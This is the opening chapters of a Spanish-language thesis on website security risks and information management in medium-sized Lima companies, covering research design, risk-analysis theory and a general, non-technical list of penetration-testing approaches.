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RESUMEN

En cualquier organizacion los riesgos de seguridad y confidencialidad de la
informacion especialmente en los Websites siempre representan un tema critico, los
crackers intentan vulnerar la privacidad de los Websites, esto ocurre debido a que,
en el desarrollo de los mismos, no se sigue una metodologia adecuada de
proteccién a la confidencialidad de la informacién. El trabajo de investigacién tiene
como objetivo identificar los riesgos de seguridad en los Websites, para saber el
efecto que originan en la gestion de la informacién en las medianas empresas, y
proponer las herramientas para combatirlos. Para ello se concertaron entrevistas a
un grupo de empresas medianas a nivel de Lima Metropolitana, donde se
entregaron encuestas formuladas con la finalidad de levantar la informacion
respectiva. El resultado de la investigacién ha permitido establecer una metodologia
con propoésitos muy especificos para tomar en consideracion en el desarrollo de
Websites y permitir las acciones preventivas y correctivas que disminuyan los
riesgos de seguridad. Para desarrollar la propuesta se ha realizado una
investigaciéon de herramientas importantes para aplicarlas con este fin, sin que
necesariamente, constituyan una carga en los costos de seguridad, ya que son
programas de libre uso y sin licencias de utilizacion. Los responsables de la
seguridad de la informacién de cada empresa deberan conocer previamente la
funcionalidad, las bondades y los focos de testeo de estas herramientas, para hacer
realmente efectiva la deteccién de vulnerabilidades en las Websites. Los Websites
son un conjunto de paginas web que comparten un mismo dominio de Internet y
contienen informacidén codificada sobre una persona, empresa u organizacién.
Existen dos grandes grupos: Websites Estaticas, cuyo contenido apenas presenta
cambios y, hay un numero cada vez mayor de Websites Dindmicas que presentan
continuos cambios de informacién, principalmente en sus bases de datos,
conteniendo informacion sensible que muestra altos indices de vulnerabilidad, por
ello deberan ser detectadas y controladas, para ejecutar las acciones preventivas y
correctivas que reduzcan los riesgos de seguridad en las empresas u
organizaciones.

Palabras clave: Riesgos de seguridad, gestion de informacion, Open source,
crackers.
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ABSTRACT

In any organization the risks of security and confidentiality of information especially
in Websites always represent a critical issue, crackers attempt to violate the privacy
of Websites, this occurs because, in developing them, no adequate methodology to
protect the confidentiality of information is followed. The research aims to identify
security risks on Websites, to know the effect that result in information management
in midsize companies, and propose tools to combat them. To do interviews were
arranged with a group of medium-sized enterprises in Metropolitan Lima, where
surveys made in order to raise the relevant information were delivered. The result of
research has established a methodology with very specific purposes to take into
consideration in the development of Websites and allow preventive and corrective
actions to reduce security risks. To develop the proposal has been conducted
important research tools to apply them to this end, without necessarily constitute a
burden in security costs, since programs are free to use and unlicensed use. The
responsible for the security of information of every company must first know the
functionality, benefits and sources of testing of these tools to make really effective
detection of vulnerabilities in Websites. The Websites are a set of web pages that
share the same Internet domain and contain coded information about a person,
company or organization. There are two main groups: Static Websites, the contents
hardly any changes, and there are an increasing number of Dynamic Websites that
present continuous changes of information, mainly in its databases containing
sensitive information that shows high levels of vulnerability, thus they must be
detected and controlled to perform preventive and corrective actions to reduce
security risks in companies or organizations.

Key words: risks of security, security of information, open source, crackers.



CAPITULO 1: INTRODUCCION

Los riesgos de seguridad de informacion especialmente en los Websites
siempre representan un tema critico en cualquier organizacion donde los crackers
intentan vulnerar la privacidad de un Website, siendo éstas paginas desarrolladas
sin seguir una metodologia adecuada de proteccion a la confidencialidad de
informacion.

Es importante distinguir 2 tipos de Website, el primero denominado “estaticas”
que son paginas que presentan informacion muy general de la organizacion y no
hay retroalimentacién con el usuario; sin embargo el segundo tipo de website es
denominado “dinamico” que son paginas que contiene un aplicativo o sistema de
informacion donde administra la informacién de la organizacion almacenada en una
Base de Datos e interactua con el usuario. Por ejm, cuando un usuario realiza una
busqueda o ingresa con su clave, el cracker mediante técnicas de ataque
aprovecha la vulnerabilidad del aplicativo, si es que la tiene, para obtener
informacién y también puede manipular esta informacién ya sea realizando
cambios de registros o eliminando registros. Los crakers atacan en la mayoria de
los casos a los Websites dinamicos o aplicaciones Web.

1.1 Situacion Problematica

Dado que los Websites tienen vulnerabilidades, es conveniente identificar y
reparar esas vulnerabilidades antes que esos incidentes ocurran. Se debe
entender que un equipo de desarrollo con experiencia puede producir cddigo
vulnerable. Este error lo cometen muchas companias al pensar justamente lo
opuesto. Como resultado lo que hacen es poner en peligro la seguridad de la
organizacion.

Se sabe que las vulnerabilidades de red difieren de las vulnerabilidades de
una aplicacion Web, esto es mas visible si se analiza la manera como se
arreglan estas vulnerabilidades, para las vulnerabilidades de un Website se
necesita una actualizacién de cdédigo personalizado. Vale resaltar que cada
actualizacion de cédigo puede generar otra vulnerabilidad. Mientras haya menos
vulnerabilidades en la aplicacion Web, las formas de identificarlas y repararlas
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son mas complejas.

Son ya conocidos los ataques de los crackers sufridos por portales peruanos.
RPP (2011) “Las paginas web de Congreso y de la Oficina de Procesos
Electores estuvieron bloqueadas, aunque al poco tiempo volvieron a estar en linea.
Otras paginas como la del Ministerio de Economia y Finanzas y de la Oficina
Nacional de Gobierno Electronico e Informatica, asi como del Instituto Peruano de
Deportes también fueron victimas de un presunto ataque cibernético”. 24 HORAS
(2013) “El portal en internet del canal estatal TV Peru fue intervenido por un grupo
de ‘'hackers' que suspendié toda la informacion en protesta al recordado
'‘Baguazo'. LearnersOfCuriosity, AntiSecPT, LulzSecPortugal y Brazilians Defacers,
son los seudonimos de los hackers”.

El tema de riesgos de seguridad para Websites es un problema mundial, el
portal de La Nacién (2013) de Argentina menciona como amenazas modernas
las siguientes: “Entre las nuevas tecnologias que mas preocupan a las empresas
en materia de seguridad, un 63% de los encuestados hizo referencia a los
dispositivos moviles, como la PDA(asistente digital personal ) y el celular; un 60% a
las redes inalambricas; y un 47% a las llaves de memoria y los discos portatiles.
Asimismo, un 40% menciond a los servicios de Internet, 27% a la telefonia IP, 23%
a las aplicaciones web y 10% a los programas de intercambio P2P (red punto a

punto) y los servidores virtuales”.
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1.2 Formulacion del Problema

1.2.1. Problema principal

¢, De qué manera los riesgos de seguridad de Websites influyen en

la gestion de informacion de las empresas medianas en Lima

Metropolitana?

1.2.2. Problemas especificos

e ;De qué manera los niveles de seguridad de los Websites influyen

en el acceso a la informacién?

e En qué medida la infraestructura de la tecnologia requiere un

adecuado financiamiento?

—
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e De qué manera los métodos de penetracion impiden una buena
comunicacién con el cliente?

e ;Cbmo se relacionan las herramientas informaticas de testeo con
los objetivos y metas establecidas?

e En qué medida las fases de testeo estan comprendidas en
los procesos de manipulacion de informacion?

e ;De qué manera la cultura de seguridad afrontara la ética

irresponsable de crackers?

1.3 Justificacion

1.3.1 Justificacion teorica

El conocer los riesgos de seguridad en las Websites, permitira a
cualquier organizacion asegurar, controlar y eliminar dichos riesgos
de cualquier sitio web con la finalidad de contribuir a las técnicas ya
existentes y complementarlas de una forma diferente. Los riesgos

de seguridad permiten que haya una mejor gestion de informacion.

1.3.2. Justificacion practica

Identificar los riesgos de seguridad existentes tiene la finalidad de
proteger la vulnerabilidad de los sitios webs para todo tipo de organizacion
que cuente con informacién expuesta a los crackers existentes. Realizar un
analisis de los riesgos de seguridad solucionara, controlara y eliminara los
posibles ataques que puedan tener los Websites, los cuales se encuentran
expuestos todas las organizaciones que manejen informaciéon que puede ser

dafada y mal utilizada.
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1.4 Objetivos

1.4.1 Objetivo general

Determinar de qué manera los riesgos de seguridad de Websites influye en la
gestién de informacion de las empresas medianas en Lima Metropolitana, y
proponer una metodologia de desarrollo de Websites que disminuyen los

riesgos de seguridad.

1.4.2 Objetivos e specificos

e Determinar de qué manera los niveles de seguridad de los Websites
influyen en el acceso a la informacién.

¢ Identificar en qué medida la infraestructura de la tecnologia requiere un
adecuado financiamiento.

e Determinar en qué manera los métodos de penetracidén impiden una
buena comunicacion con el cliente.

e Analizar cdmo se relacionan las herramientas informaticas de testeo con
los objetivos y metas establecidas.

e Determinar en qué medida las fases de testeo estan comprendidas en los
procesos de manipulacion de informacion.

¢ Identificar de qué manera la cultura organizacional logra aplicar la toma

de decisiones con ética responsable.
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Arbol de objetivos
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1.5 Hipétesis y Variables

A

1.5.1 Hipotesis

1.5.1.1. Hipotesis general

;Los riesgos de seguridad en las Websites afectan de manera
negativa en la gestién de informacion de las medianas empresas de
Lima Metropolitana?

1.5.1.2 Hipdtesis especifica

e ;Los niveles de seguridad de los Websites afectan de manera
positiva para proteger el acceso a la informacién?

e ,La infraestructura de la tecnologia requiere un adecuado de
financiamiento?

e ,Los métodos de penetracién impiden una buena comunicacion con
el cliente?

e ;lLas herramientas informaticas de testeo se relaciona con los
objetivos y metas establecidas?
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e ,Las fases de testeo estdn comprendidas en los procesos de
manipulacion?

e ,La cultura organizacional logra aplicar la toma de decisiones con
ética responsable?

1.5.2 Variables

Variable Independiente:
X.- Riesgos de Seguridad de Websites.

Variable Dependiente:
Y.- Mejora de la eficiencia de la gestion de informacion.

1.6 Tipo y Diseiio de Investigacion

Tipo: La investigacion es de tipo descriptivo — explicativo

Descriptivo: La investigacion permite desarrollar un plan estandar que describe
todo los componentes de la realidad en las medianas empresas de Lima
Metropolitana, comercializadoras de maquinarias, equipos y materiales en los rubros
de agricultura, mineria y otros.

Explicativo: La investigacion se va a orientar a explicar un planteamiento general
sobre la forma de cémo implementar un plan estratégico empresarial, el cual
conlleve a la implementacion posterior de un PETI Plan Estratégico de Sistemas en
las MYPES, Pequenas empresas y Medianas empresas Agricolas y Mineras
principalmente.

Este proyecto mediante la comprobacion de las hipétesis causales, que de acuerdo
a las variables enunciadas, determinaran y sustentaran las conjeturas que
contribuiran al desarrollo en la seguridad de la informacion de las empresas en
mencion.

Nivel y Diseno de la investigacion

El nivel es APLICATIVO, El uso de un PETI Plan Estratégico Informatico, es un
alternativa esencial para la solucién de las problematicas que se presentan en las
MYPES, Pequefias y Medianas empresas comercializadoras de maquinarias,
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equipos y materiales en los rubros de la agricultura y mineria principalmente.
Dado que normalmente no utilizan con mucho énfasis estas herramientas para la
seguridad de la informacién, en forma integrada y existe poca intencion en utilizarlas
dado que su nivel de trabajo es netamente operativo.

1.7 Propuesta Metodolégica

La propuesta del estudio se centra en la realizacidon de encuestas con el
propésito de levantar la informacion respectiva, de un grupo de empresas medianas
a nivel de Lima Metropolitana, con la finalidad de establecer una metodologia con
propositos muy especificos para tomar en consideracion en el desarrollo de
Websites y permitir las acciones preventivas y correctivas que disminuyan los
riesgos de seguridad. Para desarrollar la propuesta se ha realizado una
investigacién de herramientas importantes para aplicarlas, sin que necesariamente,
constituyan una carga en los costos de seguridad, ya que son programas de libre
uso Yy sin licencias de utilizacidén. Los especialistas en seguridad de cada empresa
deberan conocer previamente la funcionalidad, las bondades y los focos de testeo
de estas herramientas, para hacer realmente efectiva la deteccidon de vulnerabilidad
en las Websites. Las Websites son un conjunto de paginas web que comparten un
mismo dominio de Internet y contienen informacion codificada sobre una persona,
empresa u organizacion. Existen dos grandes grupos: Websites estaticas, cuyo
contenido apenas presenta cambios y, por el contrario, hay un niumero cada vez
mayor de Websites dinamicas que presentan continuos cambios de informacion,
principalmente en sus bases de datos, conteniendo informacién sensible que
muestra altos indices de vulnerabilidad, por ello deberan ser detectadas y
controladas, para ejecutar las acciones preventivas y correctivas que reduzcan los
riesgos de seguridad en las empresas u organizaciones.

1.8 Organizacion de la Tesis

El presente estudio esta organizado en capitulos, el Capitulo 1 presenta los
aspectos metodologicos que justifican la investigacidn como son la descripcién de la
problematica a tratar, los objetivos planteados, la justificacion. En el Capitulo 2 se
construye la perspectiva tedrica en la que se presenta los conceptos, las teorias y
herramientas necesarios para desarrollar la investigacién., posteriormente en el
capitulo 3 se expone la metodologia de desarrollo. En el capitulo 4 se expone los
resultados y discusion de datos y, en el capitulo 5, Impactos. Luego se presentan
las conclusiones y recomendaciones propuestas. Al final se consignan las
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1.9 Matriz de Consistencia
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PROBLEMA OBJETIVOS HIPOTESIS .
Problema Objetivo Hipétesis VARIABLES METODOLOGIA
General: General: General:

Los sistemas de Identificar los ¢Los riesgos de

seguridad de los riesgos de seguridad en las

Websites para la | seguridad enlas | Websites Variable Tipode
gestion de la Websites, para afectan de Independiente: Investigacion:

informacién en

saber el efecto

manera negativa

las medianas que éstos en la gestion de
empresas son originan en la informacién de
vulnerables gestion de la las empresas

informacion en las | medianas de

medianas Lima

empresas Metropoltana?
Problemas Objetivos Hipotesis
Especificos: Especificos: Especificas:
1.¢De qué manera 1.Determinar de 1.¢Los niveles de
los niveles de qué manera los seguridad de los

seguridad de los
Websites influyen
en el acceso ala
informacion?

2.4 En qué medida
la infraestructura
de la tecnologia
requiere un
adecuado
financiamiento?

3.;De qué manera
los métodos de
penetracion
impiden una
buena
comunicacién con
el cliente?

4.;,Como se
relacionan las
herramientas
informaticas de
testeo con los
objetivos y metas
establecidas?
5.¢En qué
medida las fases
de testeo estan
comprendidas en
los procesos de
manipulacién de
informacion?
6.;,De qué
manera la cultura
de seguridad
afrontara la ética
irresponsable de
crackers?
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penetracion
impiden una buena
comunicacién con
el cliente.
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Matriz de Consistencia: Elaboracion propia.

CAPITULO 2: MARCO TEORICO

De acuerdo con los objetivos planteados para la investigacion, interesaba
implementar una metodologia que permita una evaluacién objetiva del posible
impacto de los Riesgos de Seguridad de Websites y sus efectos en la gestién de
Informacién de medianas empresas de Lima Metropolitana.

El diseno permitié la evaluacién del cambio en la variable dependiente
seleccionada, a través de encuestas In Situ de los especialistas en manejo de
seguridad de Websites que son docentes y profesionales en area de Ingenieria de
Sistemas, para lo cual se formaron grupos o estratos en tres niveles: Estrato I: que
la conformo medianas empresas comercializadoras de maquinarias, equipos Yy
materiales de Lima Metropolitana; Estrato II: Profesionales en Ingenieria Industrial y
en Ingenieria de Sistemas y Especialistas en Informatica, y Matematicos
Computacionales de los colegios profesionales de Lima; Estrato Ill: Docentes en
Informatica en los niveles de pre grado y maestria de la Facultad de Ingenieria de la
Universidad Ricardo Palma y la Universidad Nacional del Callao.

El muestreo ha sido aleatorio estratificado con asignacion proporcional al
numero de profesionales dedicados a la gestion de informacion en las empresas
quienes aplican seguridad de su informacion las Websites.

Investigacion de Campo

En la presente investigacion se logré conocer que el nivel de grado de
seguridad de la informacién que hay en las Websites y se hizo a través de
encuestas validadas con herramientas estadisticas como es el alfa de Cronbach que
valida los items de la encuesta, luego se aplicd esta encuesta a la muestra de cada
estrato y se hizo a través de mi persona en el lugar en el que se producen los
acontecimientos para garantizar la confiabilidad de la informacién y se analizé los
porcentajes de uso de nuestro método y se validé usando la recta de regresion de si
hay o no riesgos en el uso de la seguridad en la website.

El Método de estudio que se utilizo es el método descriptivo correlacional,
segun Sanchez, 2015, esta investigacidén se orienta a la determinacién del grado de
relacion existente entre dos o mas variables de interés en una misma muestra de
sujetos o el grado de relacion existentes entre dos fendbmenos o eventos
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observados. Cuando se trata de una muestra de sujetos, el investigador observa la
presencia o ausencia de las variables que desea relacionar y luego las relaciona por
media de la técnica estadistica de andlisis de correlacion.

2.1 Marco Filoséfico o Epistemoldgico de la Investigacion

En el entorno en el que vivimos es necesario contar con una comunicacion
segura a todos los niveles. Muestra de la importancia de la seguridad, es la amplia
gama de productos que han visto la luz en los ultimos afos, pero que sin embargo
paraddjicamente, no es posible eliminar totalmente los riesgos que la inseguridad
encierra. Los riesgos estan asociados a un efecto de probabilidad, por tanto debe
realizarse un analisis de las vulnerabilidades para determinar los elementos
susceptibles a sufrir ataques y las consecuencias que se derivarian A partir de esto
se debe considerar la racionalizacion de la inversidn centrando la atencion en la
proteccion de los sistemas criticos descubiertos. El concepto de riesgo aparece en las
especialidades cientificas diversas, al concepto de riesgo se le afade la investigacion
econémica. El riesgo trata de justificar una ganancia empresarial por medio del
margen de incertidumbre. No obstante, la distincion de Knight entre riesgo e
incertidumbre se ha convertido en un tipo de dogma inamovible, ya que cualquier
innovacion conceptual se expone inmediatamente a la objecion de no hacer uso
correcto de la idea. (Luhann, 2006).

Informacién y ética profesional, cuando se trata del procesamiento de
informacion, se hace énfasis en la existencia de unas guias de actuacion en todos los
ambitos sociales para lograr la convivencia armoénica en todas las situaciones de la
vida que se presenten.

Hablar de ética e informacién implica valorar la existencia e importancia de la
figura del informador como del informado. La mente humana se apropia de una
informacién cuando la recibe, procesa y comprende. Las principales lineas éticas que
conviene seguir en la gestion de la informacién, se resume en: objetividad,
autenticidad, veracidad, oportunidad y pluralidad. (Prats, Buzaarrais y Tey, 2004).

2.2 Antecedentes de Investigacion
2.2.1 Antecedentes nacionales

El desarrollo de los Websites en el Peru paulatinamente se ha constituido en
una necesidad estratégica de informacién de toda empresa privada o entidad
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publica.

En el Peru cada vez se tiene mayor conciencia de los riesgos de seguridad
de Websites, pero, ¢ es suficiente? Las organizaciones deben preguntarse una vez
mas si estan seguros; si estan utilizando una buena metodologia de seguridad para
el desarrollo de su Websites como para evitar amenazas serias y quizas mas
critico aun, si el personal estd lo suficientemente capacitado como para no caer
en ataques de ingenieria social.

Se ha visto casos como el acceso de crackers al Websites de Palacio de
Gobierno o la Superintendencia de Entidad prestadora de Salud por citar entidades
del Estado asi como algunas empresas privadas del pais. En el mercado peruano
existen pocas empresas que resuelven el problema de seguridad utilizando
hacking ético aplicado a paginas WEB que consiste en analizar la vulnerabilidad
de estas ante posibles ataques de crackers, asi como su posterior analisis y grado
de riesgo, para luego entregar un informe y recomendar las soluciones a seguir.

2.2.2 Antecedentes internacionales

Matalobos (2009) realizé una investigacidn sobre el analisis de riesgos de
seguridad de la informacién, el trabajo se desarrollé en la ciudad de Madrid. Lo que
realiz6 el autor es un plan director de seguridad de la informacion y un sistema de
gestidbn de seguridad de informacién. Todo ello se llevd a cabo analizando la
situacion de una empresa determinada con la finalidad de cuantificar y comparar
lo que requiere la empresa, una vez se encontrd los requerimientos se elabor6
una herramienta informatica de soporte que permitié aplicar una metodologia
eficaz y eficiente.

En su investigacion sobre la implementacion de un sistema de seguridad para
un grupo empresarial en Montevideo analiza diversos enfoques de la gestion de
la seguridad de informacién, discute sobre las diferentes alternativas promovidas
por el gobierno de diversos paises de trayectoria reconocida en la seguridad de
informacién, después de ello proponer una metodologia para mejorar un SGSI
en un determinado grupo. Concluye indicando que un sistema de seguridad de
informacion debe estar orientado a la necesidad de cada empresa, ya que esto
permite implementar controles especificos que ayudaran a la empresa a afrontar
determinados riesgos. (Pallas, 2009)
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(Pazmifno, 2011) realiz6 una investigacion para determinar las
vulnerabilidades de acceso a redes inalambricas, el objetivo fue analizar las
técnicas de hacking para utilizarlas como una forma de auditar a una empresa.
Se utiliz6 un método inductivo- deductivo. La investigacién se realizé en la
ciudad de Riobamba con la finalidad de ayudar a solucionar los ataques de las
intrusiones no autorizadas en redes inaldmbricas wi-fi. Se recomienda aplicar
medidas de seguridad para reducir los impactos de los accesos a las redes
inalambricas.

(Fidel, 2008) en su investigacién brinda un panorama acerca de las
técnicas mas comunes de obtencion de informacién, deteccion de
vulnerabilidades y ataques a Unix, Linux, Solaris, entre otros. El autor planifico
un ataque a la seguridad informética para conocer cuéles son las probabilidades
de éxito y conocer las consecuencias. En el desarrollo de su tesis menciona las
herramientas con las cuales los hackers ingresan a un ordenador.

Se realizé una investigacion acerca del hacking ético para detectar las
vulnerabilidades en los servicios de la intranet del gobierno auténomo del Canton
Cevallos-Ecuador. Destaca la importancia de contar con informacion
confidencial dentro de una institucion municipal. Llegd a la conclusion que los
sistemas informaticos no se encuentran totalmente seguros y que se encuentran

un riesgo cuando utilizan sistemas informaticos inseguros. Demostrd que el
portal web de la municipalidad fue hackeado, haciendo que la informacion
sea alterada ocasionando danos permanentes. Recomienda el uso de un
hacking ético para detectar vulnerabilidades en la intranet del gobierno
municipal. Finalmente realiza una propuesta sobre la aplicacién de un software.
(Hiulca, 2012)

Cada vez son mas las empresas en Latinoamérica, que son victimas
de ataques informaticos; desde denegacién de servicios, pasando por ataques a
servidores web que permiten la modificacién de su pagina web y hasta robo o

secuestro de informacidn corporativa.

Estd claro que el mercado negro de los crackers genera mucho dinero y
mueve mucha gente, y que la tendencia a la venta de informacién corporativa,
fraudes bancarios, publicidad ilegal y ataques a pedido se va haciendo cada vez
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mas fuerte.

La tendencia es clara, sin embargo hay ciertos detalles que muchos pueden
estar dejando de lado. Y es que todos estos tipos de ataques y conocimientos
que usualmente son dirigidos a usuarios y empresas, podrian tener también como
objetivo computadoras de instituciones gubernamentales es decir, podrian tener
como fin desestabilizar un Gobierno.

Si, estamos hablando de ataques que podrian comprometer la seguridad de
una Nacion. Hace algo mas de ocho de anos el presidente de Estados Unidos
anuncio la creacion de un nuevo cargo en la Casa Blanca, este asesor tiene como
funcion coordinar las politicas destinadas a proteger a los Estados Unidos y a su
infraestructura informatica de ataques de las hipotéticas “ciberguerras” del futuro.
Este cargo ha sido tomado con tanta importancia que incluso forma parte del
Consejo de Seguridad Nacional de los EEUU.

Este tipo de noticias no son parte de hechos aislados o pura
casualidad. Tienen un trasfondo muy importante y es que hoy en dia, los
sistemas informaticos tienen un rol principal en todas las actividades de una
Nacion. Si en algun momento alguno de estos sistemas deja de funcionar,
muchas actividades son interrumpidas, generando tiempos de respuesta larga y

lenta.

A la fecha existen diversas empresas en el orbe que han creando su propia
metodologia para aplicar Hacking Etico a su Web Site o utilizan metodologias

mas genéricas que existen en el mercado.
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2.3 Taxonomia

El presente trabajo de investigacion por la naturaleza de estudio se encuentra
ubicado dentro de las siguientes lineas de investigacion:

Ambientes de Computacién Informatica y Sociedad

Aplicaciones Informaticas Aplicaciones de Internet

Considerando a ACM, el presente trabajo se enmarca dentro de la clasificacién

K Computing Milieux K4  Computers and Society

2.4 Bases Teoricas

2.4.1 Seguridad
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En el entorno en que nos movemos es necesario asegurar una comunicacion
segura a todos los niveles. Muestra de la importancia de la seguridad, es la amplia
gama de productos que han visto la luz en los ultimos afos; sin embargo,
paraddjicamente no es posible eliminar totalmente los riesgos de la inseguridad. El
proceso de especificacidon y garantia de seguridad es parte de un ciclo de vida
completo de seguridad definido por estandares internacionales. Las primeras etapas
del ciclo de vida de seguridad definen el ambito del sistema, evalian las
contingencias potenciales del sistema y estiman los riesgos que estas presentan.

2.4.2 Riesgo

Un riesgo se puede concebir como una probabilidad de que una circunstancia
adversa ocurra [Summerville]. Un riesgo constituye una amenaza para el proyecto
para la actividad que se esta desarrollando y para la organizacion. Durante el
proceso de analisis de riesgo, se considera por separado cada riesgo identificado y
se decide acerca de la probabilidad y la seriedad del mismo.

Se denomina riesgo a la posibilidad de que se materialice una amenaza
aprovechando una vulnerabilidad. Ante un riesgo se pueden optar por tres
alternativas: Asumirlo sin hacer nada; aplicar medidas para disminuirlo o

transferirlo (contratar un seguro). Aguilera (2010).

2.4.3 Riesgos de seguridad

Los riesgos de seguridad son la combinacién de uno o0 mas eventos que
pueden 0 no ocurrir en un determinado momento provocando un impacto
indeseado, puede ser una amenaza a alguna vulnerabilidad existente de la
empresa, ya sea en bienes o activos. El realiza una evaluacién cuantitativa o
cualitativa permite conocer, minimizar y tomar decisiones. ISO/IEC 27000,
citado en Pallas, 2009.

El riesgo es una caracteristica inherente a cualquier actividad, por lo
que, no debe considerarse un factor negativo, sino un factor clave que la
empresa debe conocer y gestionar. El riesgo puede ser un factor diferenciador.
Los riesgos se definen como todos los posibles eventos que pueden afectar al

cumplimiento de los objetivos de una organizacion, estos eventos pueden ser
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internos o externos, fortuitos o intencionados. Debido a la probabilidad de que
suceda algo es necesario contar con un procedimiento que permita la identificacion
de los mismos para posteriormente mitigarlos. (Matalobos, 2009).

El analizar los riesgos de seguridad constituye una parte clave de la
gestidbn de la organizacion, gestionar los riesgos es un proceso que permite
identificar los peligros que podrian afectar a la seguridad de la informacion, es
necesario determinar la magnitud del riesgo asimismo se debe identificar las

posibles areas inseguras para determinar las salvaguardas a ejecutar.

2.4.3.1. Razones para realizar el analisis de riesgos. Existen muchas

causas que pueden afectar a la seguridad de la informacién de cualquier tipo de

organizaciéon, (Areitio, 2008).

o Identificar los activos y controles de seguridad.

o Proporcionar una guia sobre los gastos de los recursos.

. Gestionar alertas de los riesgos actuales y futuros.

o Proporcionar criterios para disefar y evaluar planes de contingencia.

o Aplicar salvaguardas para prevenir y curar posibles riesgos.

. Mejora el nivel de conocimiento sobre la seguridad de todos los niveles.

e  Aplicar un agente de amenaza para explotar una vulnerabilidad de un sistema
o instalacién. Una vez definida el agente de amenaza se pueden implementar
las contramedidas.

Razones por las cudles se debe implementar el proceso de Gestién de la

Seguridad de la Informacién en las Organizaciones, segun Matalobos, 2009:

o Crecimientos de incidentes provocados por el personal de la empresa.

o Crecimiento de los ataques con motivacion econdémica, lo que conduce
a la busqueda de expertos para la solucién de los problemas ya generados.

o Debilidades no tecnoldgicas, como el robo de soportes de informacion. La
vulnerabilidad de las organizaciones y falta de conocimientos.

2.4.3.2 Proceso del analisis de riesgos. Para analizar un riesgo es
necesario establecer un esquema que cuente con la siguiente informacion, segun
(Aguilera 2010):

. Hacer inventario y valoracion de activos. ldentificar y valorar las amenazas.
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Medir la seguridad existente.

Identificar las vulnerabilidades de los activos. Conocer los objetivos de
seguridad de la empresa.

Determinar sistemas de medicién de riesgos.

Determinar el posible impacto de un ataque.

Seleccionar las medidas de proteccion.

2.4.3.3 Clases de riesgos. Segun (Areitio, 2008) se deben evaluar los riesgos

pero, para ello debemos identificar de qué tipo son, se tienen tres tipos:

Riesgo calculado, es el resultado de una evaluacion. Este concepto es con el
que se realizaran las comparaciones que existen en la organizacién (umbral
de riesgo). El umbral de riesgo es una especificacion cuantitativa que
implica un nivel de amenaza alto, es decir que la vulnerabilidad es grave,
los resultados del riesgo calculado que sean superior al umbral de riesgo
deben ser reducidos instantaneamente.

Riesgo residual, es el resultado que es menor al umbral de riesgo, lo que
se traduce en que no es necesario tomar medidas para reducirlo.

Riesgo asumido, este nivel esta referido cuando los resultados del calculo

del tipo de riesgo es superior al umbral de riesgo, una vez conocido el
riesgo se podran definir politicas de seguridad.

2.4.3.4 Técnicas de analisis de riesgos. Las posibles técnicas, segun

Areitio, 2008 son:

Analisis de vulnerabilidades, consiste en realizar un andlisis a un area
determinada con respecto a las personas que laboran en él. El procedimiento
que se sigue es examinar cada trabajo desarrollado, conocer cuales son las
habilidades necesarias, el nivel de acceso de informacion, vy
principalmente se busca conocer los activos sobre los que impacta el trabajo.
Analisis de escenarios, permite la visualizacion general de lo que podria
pasar cuando no se conocen datos exactos, es un analisis subijetivo, el
cual resulta valioso cuando se requiere identificar amenazas y posibles
vulnerabilidades.

Aplicacion de la valoracion de riesgos, es la identificacion de los activos y de
las amenazas expuestas, se estiman los posibles impactos y se prioriza las
principales.

2.4.3.5 Gestion de seguridad. Es el proceso por el cual la empresa define,
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informacioén. Segun

1SO27005.08, citado en (Matalobos, 2009), la gestion de informacién incluye los
siguientes aspectos:

Determinar los objetivos y politicas de Seguridad de la Informacion.
Establecer los requerimientos especificos.

Identificar las amenazas y vulnerabilidades de los activos de Informacion.
Analizar los riesgos de seguridad.

Especificar, supervisar la implementacion de salvaguardas.

Capacitar al personal en materia de seguridad de informacion.

Detectar posibles incidentes de seguridad y reaccionar ante los mismos.

2.4.3.6 Niveles de seguridad. E| nivel de seguridad se determina en funcion

a los tipos de datos que contenga un fichero, existen tres niveles de seguridad.

Los tipos de datos que contiene cada nivel se resumen en el siguiente cuadro.

Tabla N2 1. Tabla resumen de clasificacién de Datos.

DATOS " PUEDEN ENCONTRAR'
DATOS DE NIVEL ALTO Ideclogia Nominas
Religion y creencias Liguidacion de la renta
Origen racial Seguridad e higiene™
Salud Salud del personal
Vida sexual Clientes productos eréticos
Datos recabados para fines
policiales sin el consentimianto de
las personas afectadas
DATOS DE NIVEL MEDIO Infracciones administrativas o Clientes de abogados, geslores,
penales ele.
Haclenda Publica Agencia Eslatal de
Administracién Tributaria
Servicios financieros Bancos
Solvencia patrimonial y crédito ASNEF
Evaluacién de la personalidad Selecclon de personal
DATOS DE NIVEL BASICO | Resto Todos
Fuente: Manent, 2003
2.4.3.7. Infraestructura tecnoldogica. Se refiere a la fase donde se

especifican las tecnologias que van a permitir el desarrollo de los proceso de la

gestion del conocimiento como de la organizacion, el uso que se le da es para
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almacenar, tener acceso Yy gestionar informacion. Para que una organizacién
disefie su infraestructura tecnolégica se debe partir de modelos en las cuéles se
deben analizar las actividades a ejecutar. La finalidad de contar con una buena
infraestructura tecnoldgica permite el logro de las metas y objetivos relacionados a

los procesos de gestidén del conocimiento. (Gonzales, Joaqui & Collazos 2009).

2.4.3.8. Métodos de penetracion. Una infraestructura tecnoldégica puede
ser probada, analizada y atacada de diversas formas, se detallan los mas

comunes (Verdesoto, 2007):

e Ataque Local. Es la simulacion de un ataque originado por una persona
autorizada desde una conexion legitima a la red de la organizacion. El
atacante debe derrotar las siguientes defensas: Firewalls de intranet, servidores
internos y todas las medidas de seguridad con las que cuente el servidor.

e Ataque Remoto. Es una prueba que consiste en atacar el sistema por
medio del internet, sus posibles objetivos son: HTTP (Hypertext Transfer
Protocol), SMTP (Simple Mail Transfer Protocol), SQL (Structured Query
Language) o cualquier otro servicio que se encuentre disponible.

e Ataques con equipos robados. Los frecuentes robos de equipos
electrénicos pertenecientes a alguna organizacion implica también la pérdida
de informacion, contrasenas almacenadas o informacién critica que puede ser
mal utilizada por un enemigo. Este tipo de robo suelen realizarse en los
exteriores de las empresas para evaluar el nivel de proteccion que tienen
los usuarios de los equipos. La Unica finalidad de este tipo de ataque es
obtener informacion critica de los usuarios.

e Ataques a entradas fisicas de la organizacion. Es la simulacion de un
ataque para probar los controles que existen en la organizacidén, después de
esto se hace una evaluacion sobre la politica de seguridad existente para
posteriormente mejorarla.

e Ataques por medio de equipos sin autenticacién. Este tipo de ataque tiene
la finalidad de buscar puntos de acceso inaldmbrico y médems para verificar el
nivel de seguridad con el que se cuenta y el hacker ético prueba el punto
maximo al cudl puede tener acceso.
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e Ataques mediante Ingenieria Social. Mediante esta prueba se busca
evaluar la integridad y compromiso de los trabajadores de la empresa, se
busca ver hasta donde un empleado conoce informacion confidencial y ver

que tanto riesgo existe de la divulgacién de la misma.

2.4.3.9 Pruebas de software (Testing)

